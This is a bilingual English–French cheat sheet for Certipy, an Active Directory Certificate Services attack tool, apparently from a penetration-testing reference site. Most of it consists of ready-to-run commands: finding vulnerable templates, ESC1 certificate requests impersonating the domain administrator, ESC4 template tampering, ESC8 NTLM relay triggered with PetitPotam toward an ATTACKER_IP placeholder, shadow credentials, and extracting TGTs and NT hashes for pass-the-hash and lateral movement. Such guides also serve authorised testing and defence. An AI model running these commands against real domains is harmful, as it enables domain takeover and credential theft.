certipy-ad

Outil d'attaque des services de certificats Active Directory (AD CS). Trouve et exploite les mauvaises configurations d'ADCS pour l'élévation de privilèges, la prise de contrôle du domaine et les attaques d'authentification par certificat (ESC1-ESC13). Active Directory Certificate Services (AD CS) attack tool. Finds and exploits misconfigurations in ADCS for privilege escalation, domain takeover, and certificate-based authentication attacks (ESC1-ESC13).

↗ https://github.com/ly4k/Certipy

Overview

Certipy (certipy-ad on Kali) is the definitive tool for attacking Active Directory Certificate Services. It enumerates ADCS misconfigurations (the ESC attack paths), requests certificates, authenticates with them, and can achieve domain compromise through PKINIT or Schannel-based attacks.

Installation

pip3 install certipy-ad
# or on Kali:
sudo apt install certipy-ad

Find Vulnerabilities

Enumerate all ADCS misconfigurations

certipy find -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1

Save output to JSON

certipy find -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 -json

Show vulnerable templates only

certipy find -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 -vulnerable -stdout

ESC1 — Enroll + SAN Override

Request cert as domain admin (vulnerable template allows SAN)

certipy req -u 'user@domain.local' -p 'Password1' \
  -ca 'CORP-CA' \
  -template 'VulnTemplate' \
  -upn 'administrator@domain.local' \
  -dc-ip 10.10.10.1

Authenticate with the certificate

certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 10.10.10.1

ESC4 — Template Modification

Modify a template to be vulnerable (requires WriteProperty on template)

certipy template -u 'user@domain.local' -p 'Password1' \
  -template 'TargetTemplate' \
  -save-old \
  -dc-ip 10.10.10.1

Then exploit as ESC1

certipy req -u 'user@domain.local' -p 'Password1' \
  -ca 'CORP-CA' -template 'TargetTemplate' \
  -upn 'administrator@domain.local' -dc-ip 10.10.10.1

Restore template

certipy template -u 'user@domain.local' -p 'Password1' \
  -template 'TargetTemplate' \
  -configuration TargetTemplate.json -dc-ip 10.10.10.1

ESC8 — NTLM Relay to AD CS HTTP

Start relay to AD CS enrollment endpoint

certipy relay -ca 10.10.10.5 -template 'DomainController'

Trigger authentication (use printerbug/petitpotam)

python3 PetitPotam.py -u '' -p '' ATTACKER_IP DC_IP

Authentication with Certificate

Get TGT + NT hash from certificate

certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 10.10.10.1

Output: saves TGT (.ccache) and shows NT hash Use NT hash for pass-the-hash Use TGT with KRB5CCNAME for Kerberos auth

export KRB5CCNAME=administrator.ccache

Shadow Credentials (ESC11 / PKINIT)

Add shadow credential to target account

certipy shadow auto -u 'user@domain.local' -p 'Password1' \
  -account 'targetuser' -dc-ip 10.10.10.1

Tips

  • Run certipy find -vulnerable first — quickly shows which ESC paths are exploitable
  • ESC1 is the most common: misconfigured templates allowing SAN override
  • After certipy auth, you get both a TGT and the NT hash — use either for lateral movement
  • -ns flag useful when DNS doesn’t point to DC
  • Combine with BloodHound to visualize certificate attack paths
Help / Man page
certipy [command] [options]

Commands:
  find      Enumerate ADCS (misconfigurations, templates, CAs)
  req       Request a certificate
  auth      Authenticate with a certificate (get TGT + hash)
  shadow    Shadow credentials attack
  template  Modify certificate templates
  relay     NTLM relay to AD CS
  forge     Forge certificates (requires CA private key)
  ca        Manage CA properties

Common options:
  -u USER     Username (user@domain.local)
  -p PASS     Password
  -hashes     NT hash for pass-the-hash
  -dc-ip IP   Domain controller IP
  -ca NAME    Certificate Authority name
  -template   Template name
  -upn UPN    Target UPN for SAN (ESC1)

Vue d’ensemble

Certipy (certipy-ad sur Kali) est l’outil de référence pour attaquer les services de certificats Active Directory. Il énumère les mauvaises configurations d’ADCS (les chemins d’attaque ESC), demande des certificats, s’authentifie avec, et peut aboutir à la compromission du domaine via des attaques basées sur PKINIT ou Schannel.

Installation

pip3 install certipy-ad
# ou sur Kali :
sudo apt install certipy-ad

Trouver les vulnérabilités

# Énumérer toutes les mauvaises configurations d'ADCS
certipy find -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1

# Sauvegarder la sortie en JSON
certipy find -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 -json

# Afficher uniquement les templates vulnérables
certipy find -u 'user@domain.local' -p 'Password1' -dc-ip 10.10.10.1 -vulnerable -stdout

ESC1 : inscription + override du SAN

# Demander un cert en tant qu'admin du domaine (le template vulnérable autorise le SAN)
certipy req -u 'user@domain.local' -p 'Password1' \
  -ca 'CORP-CA' \
  -template 'VulnTemplate' \
  -upn 'administrator@domain.local' \
  -dc-ip 10.10.10.1

# S'authentifier avec le certificat
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 10.10.10.1

ESC4 : modification de template

# Modifier un template pour le rendre vulnérable (nécessite WriteProperty sur le template)
certipy template -u 'user@domain.local' -p 'Password1' \
  -template 'TargetTemplate' \
  -save-old \
  -dc-ip 10.10.10.1

# Puis exploiter comme un ESC1
certipy req -u 'user@domain.local' -p 'Password1' \
  -ca 'CORP-CA' -template 'TargetTemplate' \
  -upn 'administrator@domain.local' -dc-ip 10.10.10.1

# Restaurer le template
certipy template -u 'user@domain.local' -p 'Password1' \
  -template 'TargetTemplate' \
  -configuration TargetTemplate.json -dc-ip 10.10.10.1

ESC8 : relayage NTLM vers le HTTP d’AD CS

# Démarrer le relayage vers l'endpoint d'inscription d'AD CS
certipy relay -ca 10.10.10.5 -template 'DomainController'

# Déclencher l'authentification (utiliser printerbug/petitpotam)
python3 PetitPotam.py -u '' -p '' ATTACKER_IP DC_IP

Authentification avec un certificat

# Obtenir un TGT + l'empreinte NT depuis un certificat
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 10.10.10.1

Sortie : sauvegarde le TGT (.ccache) et affiche l’empreinte NT. Utilisez l’empreinte NT pour du pass-the-hash. Utilisez le TGT avec KRB5CCNAME pour l’auth Kerberos.

export KRB5CCNAME=administrator.ccache

Shadow Credentials (ESC11 / PKINIT)

# Ajouter un shadow credential à un compte cible
certipy shadow auto -u 'user@domain.local' -p 'Password1' \
  -account 'targetuser' -dc-ip 10.10.10.1

Conseils

  • Lancez d’abord certipy find -vulnerable : il montre vite quels chemins ESC sont exploitables
  • ESC1 est le plus courant : templates mal configurés autorisant l’override du SAN
  • Après certipy auth, vous obtenez à la fois un TGT et l’empreinte NT : utilisez l’un ou l’autre pour le déplacement latéral
  • Le flag -ns est utile quand le DNS ne pointe pas vers le DC
  • Combinez avec BloodHound pour visualiser les chemins d’attaque par certificat
Aide / Page de manuel
certipy [command] [options]

Commands:
  find      Enumerate ADCS (misconfigurations, templates, CAs)
  req       Request a certificate
  auth      Authenticate with a certificate (get TGT + hash)
  shadow    Shadow credentials attack
  template  Modify certificate templates
  relay     NTLM relay to AD CS
  forge     Forge certificates (requires CA private key)
  ca        Manage CA properties

Common options:
  -u USER     Username (user@domain.local)
  -p PASS     Password
  -hashes     NT hash for pass-the-hash
  -dc-ip IP   Domain controller IP
  -ca NAME    Certificate Authority name
  -template   Template name
  -upn UPN    Target UPN for SAN (ESC1)